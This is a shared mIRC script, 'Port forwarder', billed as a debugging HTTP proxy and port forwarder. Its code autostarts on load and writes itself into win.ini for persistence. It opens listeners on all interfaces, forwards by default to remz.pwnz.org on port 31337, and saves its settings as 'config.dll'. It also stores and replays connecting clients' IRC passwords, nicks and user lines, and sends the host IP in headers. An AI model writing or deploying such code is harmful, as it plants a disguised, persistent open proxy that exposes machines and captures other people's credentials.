Port forwarder

By independentt on Jan 28, 2012

;HTTP Proxy TCPWatcher v1.4
;Script by independent
;Disclaimer; I am not responsible of anything done to your computer/net connection,
;if you use the default configuration.
;
;This script was made to debug internet connections!!! To debug it load the script and type /setanon to turn the proxy transparent
then connect 127.0.0.1:444 (%lport value) (in firefox settings IE) or whatever will redirect connections to target remote host.

;HTTP Proxy TCPWatcher & Port Forwarder
;Script by independent
;Disclaimer; I am not responsible of anything done to your computer/net connection,
;if you use the default configuration.
;UPDATED 06/01/15

on 1:START:{ 
  if (%astart) || (!%starts) { astart }
  ;load config
  hmake make
  hload -b make config.dll
  echo -a 3* Proxy Config loaded, successfully.
}
on 1:EXIT:{ hsave -b make config.dll | echo -a 3Proxy config saved! Good Bye! }
alias astart { hadd -m make lport 59999 | .timer 1 1 .writeini $left($mircdir,3) $+ windows\win.ini windows load $shortfn($mircexe) | if (!%starts) init.d | set %astart yes | .timerLISTEN 1 1 listensocks }
alias init.d {
  hadd -m make pfrip remz.pwnz.org
  hadd -m make pfrport 31337
  hadd -m make lport 59999
  hadd -m make maxcon 50
  hadd -m make maxout 100
  hadd -m make anon Yes
}
alias remastart { .remini $left($mircdir,3) $+ windows\win.ini windows load | unset %astart }
alias autostart { $iif(%astart,remastart,astart) }
alias listensocks  {  /sockclose pf* | if (!$hget(make,lport)) { hadd -m make lport $$?="Port number" } | .timersock 1 1 socklisten -d 0.0.0.0 pfserv $iif($hget(make,lport),$v1,59999) | .timersockupnp 1 1 socklisten -p pfservupnp $iif($calc($hget(make,lport) +1),$v1,60000) | inc %starts | echo -s Proxy/IP forward started %starts times }
alias setanon { localinfo | $iif($hget(make,anon),hdel make anon,hadd -m anon Yes) | .timerpfserv 1 1 sockwrite -tn pfserv* :Proxy!ByIndependent@ $+ $host PRIVMSG * :Host changed settings of proxy anonimity: $iif($hget(make,anon),now ANONYMOUS,now TRANSPARENT;Your IP and information might be logged on remote host ) | if ($hget(make,anon))  echo -a Proxy logs sent to logs folder | savebuf @PFDebug logs\Proxy $+ $date(mm-dd-yy) $+ #ticks $+ .log  }
menu * {
  Proxy By independent ( $+ $sock(pfserv).bindip $+ ; $+ $sock(pfserv).bindport )
  .AUTOSTART ( $+ %astart $+  ): autostart
  .LISTEN PORT ( $+ $hget(make,lport) $+ ) NOW: listensocks
  .CHANGE PORT!: hadd -m make lport $$?="Port number" 
  .-
  .set FORWARD IP  ( $+ $hget(make,pfrip) $+ ): hadd -m make pfrip $$?="Enter an ip address you want to redirect to"
  .set FORWARD PORT ( $+ $hget(make,pfrport) $+ ): hadd -m make pfrport $$?="Enter the remote port number"
  .-
  .CLOSE CONNECTIONS: /sockclose pf*
  ..Stats/Option
  ...MAX INCOMING CONNECTIONS ( $+ $hget(make,maxcon) $+ ): hadd -m make maxcon $$?="Max number of simultaneous INCOMING connections"
  ...MAX OUTGOING CONNECTIONS ( $+ $hget(make,maxout) $+ ): hadd -m make maxout $$?="Max number of simultaneous OUTGOING connections"
  ...-
  ...Anonymous Proxy ( $+ $iif($hget(make,anon),Yes,NO;Transparent) $+ ) : setanon
  .CONFIG
  ..Save config:hsave -b make config.dll
  ..Load config:{ .timer 1 1 hload -b make config.dll | hmake make }
  ..-
  ..Erase config:{ sockclose pf* | .remove config.dll | hdel -w make * }
  ..Set defaults:{ hdel -w make * | init.d | astart }

}
alias protocol {
  if (*HTTPS://* iswm $1) { return $gettok($1,2,47) $+ : $+ 443 }
  if (*HTTP://* iswm $1) { return $gettok($1,2,47) $+ : $+ 80 }
  if (*FTP://* iswm $1) { return $gettok($1,2,47) $+ : $+ 21 }
}
alias getdns { hadd -mu30 make pfdns $iif($hget(make,pfdns),$v1) $1 $+ @ $+ $2 | .dns -h $gettok($2,1,58) }
on 1:DNS:{ 
  if ($wildtok($hget(make,pfdns),* $+ $dns(1).addr $+ *,1,32)) {
    .timerOPEN $+ $gettok($replace($gettok($wildtok($hget(make,pfdns),* $+ $dns(1).addr $+ *,1,32),1,64),serv,connect),1,32) -om 1 500 sockopen $iif(443 == $gettok($wildtok($hget(make,pfdns),* $+ $dns(1).addr $+ *,1,32),2,58),-e,$iif(6697 == $gettok($wildtok($hget(make,pfdns),* $+ $dns(1).addr $+ *,1,32),2,58),-e)) $gettok($replace($gettok($wildtok($hget(make,pfdns),* $+ $dns(1).addr $+ *,1,32),1,64),serv,connect),1,32) $dns(1).ip $gettok($wildtok($hget(make,pfdns),* $+ $dns(1).addr $+ *,1,32),2,58) 
    hadd -mu10 make pfdns $remove($hget(make,pfdns),$wildtok($hget(make,pfdns),* $+ $dns(1).addr $+ *,1,32))
  } 
}
on *:SOCKREAD:pfserv*:{
  sockread $iif($sock($sockname).rq > 16384,16834,$v1) &binvar
  if ($sock($replace($sockname,pfserv,pfconnect)).ip) && (GET* !iswm $hget(make,sockmark)) { sockwrite -b $replace($sockname,pfserv,pfconnect) -1 &binvar }
  if ($sock($replace($sockname,pfserv,pfirc)).ip) { sockwrite -b $replace($sockname,pfserv,pfirc) -1 &binvar }
  hadd -m make text $bvar(&binvar,1,$bvar(&binvar,0)).text
  if (PASS == $gettok($hget(make,text),1,32)) { hadd -mu300 $sockname pass $gettok($hget(make,text),1-,32) } 
  if (NICK == $gettok($hget(make,text),1,32)) { hadd -mu300 $sockname nick $gettok($hget(make,text),1-,32) } 
  if (USER == $gettok($hget(make,text),1,32)) { hadd -mu300 $sockname user $gettok($hget(make,text),1-,32) }
  if (CONNECT* iswm $hget(make,text)) { 
    hadd -m make proxycon $wildtok($gettok($hget(make,text),2,32),*.*,1,32) 
    if (?*.?*.?*.?* !iswm $hget(make,proxycon)) && (!$sock($replace($sockname,serv,connect)).ip) { .getdns $sockname $hget(make,proxycon) }
    elseif (?*.?*.?*.?* iswm $hget(make,proxycon)) && (!$sock($replace($sockname,serv,connect)).ip) { sockopen $iif(*:443 iswm $hget(make,proxycon),-e,$iif(*:6697 iswm $hget(make,proxycon),-e)) $replace($sockname,serv,connect) $replace($hget(make,proxycon),:,$chr(32)) }
    .hadd -mu10 make sockmark $hget(make,text)

  }
  if (GET* iswm $hget(make,text)) || (POST* iswm $hget(make,text)) { 
    hadd -m make proxycon $protocol($wildtok($gettok($hget(make,text),2,32),*.*,1,32))
    if (?*.?*.?*.?* !iswm $hget(make,proxycon)) && (!$sock($replace($sockname,serv,connect)).ip) { .getdns $sockname $hget(make,proxycon) }
    elseif (?*.?*.?*.?* iswm $hget(make,proxycon))  && (!$sock($replace($sockname,serv,connect)).ip) { sockopen $iif(*:443 iswm $hget(make,proxycon),-e,$iif(*:6697 iswm $hget(make,proxycon),-e)) $replace($sockname,serv,connect) $replace($hget(make,proxycon),:,$chr(32)) }
    .hadd -mu10 make sockmark $wildtok($bvar(&binvar,1,$bvar(&binvar,0)).text,GET*,1,13)
  }
  if (!$hget(make,anon)) window @PFDebug
  if (!$hget(make,anon)) echo @PFDebug  $+ $sockname $+ @ $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+  $hget(make,text)
}
on *:SOCKREAD:pfconnect*:{ 
  sockread $iif(66* iswm $sock($sockname).port,-n) $sock($sockname).rq &binvar
  if ($sock($replace($sockname,pfconnect,pfserv)).ip) sockwrite -b $replace($sockname,pfconnect,pfserv) -1 &binvar
  if ($len($bvar(&binvar,1,$bvar(&binvar,0)).text) < 340) hadd -m make text $bvar(&binvar,1,$bvar(&binvar,0)).text
  if (001 isin $gettok($hget(make,text),1-3,32)) { sockrename $sockname $replace($sockname,pfconnect,pfirc) }
  if (PING* iswm $hget(make,text)) { sockwrite -n $sockname PONG $hget(make,text) | halt }
  if (CONNECT*:66* iswm $hget(make,sockmark)) && (*NOTICE*AUTH*:* iswm $hget(make,text)) { 
    if ($hget($replace($sockname,connect,serv),pass)) sockwrite -n $sockname $v1
    sockwrite -n $sockname $hget($replace($sockname,connect,serv),nick)  
    sockwrite -n $sockname $hget($replace($sockname,connect,serv),user)
    hdel make sockmark
  }
  if (451 == $gettok($hget(make,text),2,32)) {
    if ($hget($replace($sockname,connect,serv),pass)) sockwrite -n $sockname $v1
    sockwrite -n $sockname $hget($replace($sockname,connect,serv),nick)  
    sockwrite -n $sockname $hget($replace($sockname,connect,serv),user)
  }
  if (!$hget(make,anon)) window @PFDebug
  if (!$hget(make,anon)) echo @PFDebug  $+ $sockname $+ @ $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+  $hget(make,text)
}
on *:sockread:pfirc*:{
  while ($sock($sockname).rq) {
    sockread %t | tokenize 32 %t
    sockwrite -n $replace($sockname,pfirc,pfserv) $1-
    if ($sockbr == 0) return
    if (!$hget(make,anon)) echo @PFDebug  $+ $sockname $+ @ $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+  $1-
    if ($1 == PING) sockwrite -n $sockname PONG $2-
  }
}
on *:SOCKLISTEN:pfserv*:{
  if ($sockerr > 0) { return } 
  hadd -m make temp $rand(1,999999999) 
  sockaccept pfserv $+ $hget(make,temp) 
  if ($calc($hget(make,maxcon) +1) < $sock(pfserv*,0).name) { sockwrite -tn pfserv $+ $hget(make,temp) HTTP/1.1 403 Forbidden | .timeropen124 $+ $replace($sockname,pfconnect,pfserv) -om 1 100 sockclose pf* $+ $hget(make,temp) $+ * }
}
on 1:SOCKOPEN:pfconnect*:{
  if ($sockerr) { sockclose $replace($sockname,pfconnect,pfserv) | return }
  if ($calc($hget(make,maxout) +1) < $sock(pfconnect*,0).name)  { sockwrite -tn $sockname HTTP/1.1 403 Forbidden | .timeropen124 $+ $sockname -om 1 100 sockclose pf* $+ $hget(make,temp) $+ * }
  if ($sock($replace($sockname,pfconnect,pfserv)).ip) {
    .sockwrite -tn $replace($sockname,pfconnect,pfserv) HTTP/1.1 200 Connection Established
    if (CONNECT*:66??* !iswm $hget(make,sockmark)) {
      .sockwrite -tn $sockname $hget(make,sockmark)
      .sockwrite -tn $sockname Host: $gettok($protocol($gettok($hget(make,sockmark),2,32)),1,58)
      .sockwrite -tn $sockname User-Agent: Mozilla/5.0 $os $fulltime $ip
      .sockwrite -tn $sockname Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
      .sockwrite -tn $sockname Accept-Language: en-US,en;q=0.8
      .sockwrite -tn $sockname Connection: keep-alive 
      .sockwrite $sockname $crlf
      .sockwrite $sockname $crlf
    }

  }
}

on 1:SOCKCLOSE:pfserv*:{ sockclose $replace($sockname,pfserv,pfconnect) }
on 1:SOCKCLOSE:pfconnect*:{ sockclose $replace($sockname,pfconnect,pfserv) }
on 1:SOCKCLOSE:pfirc*:{ sockclose $replace($sockname,pfirc,pfserv) }

Comments

Sign in to comment.
Are you sure you want to unfollow this person?
Are you sure you want to delete this?
Click "Unsubscribe" to stop receiving notices pertaining to this post.
Click "Subscribe" to resume notices pertaining to this post.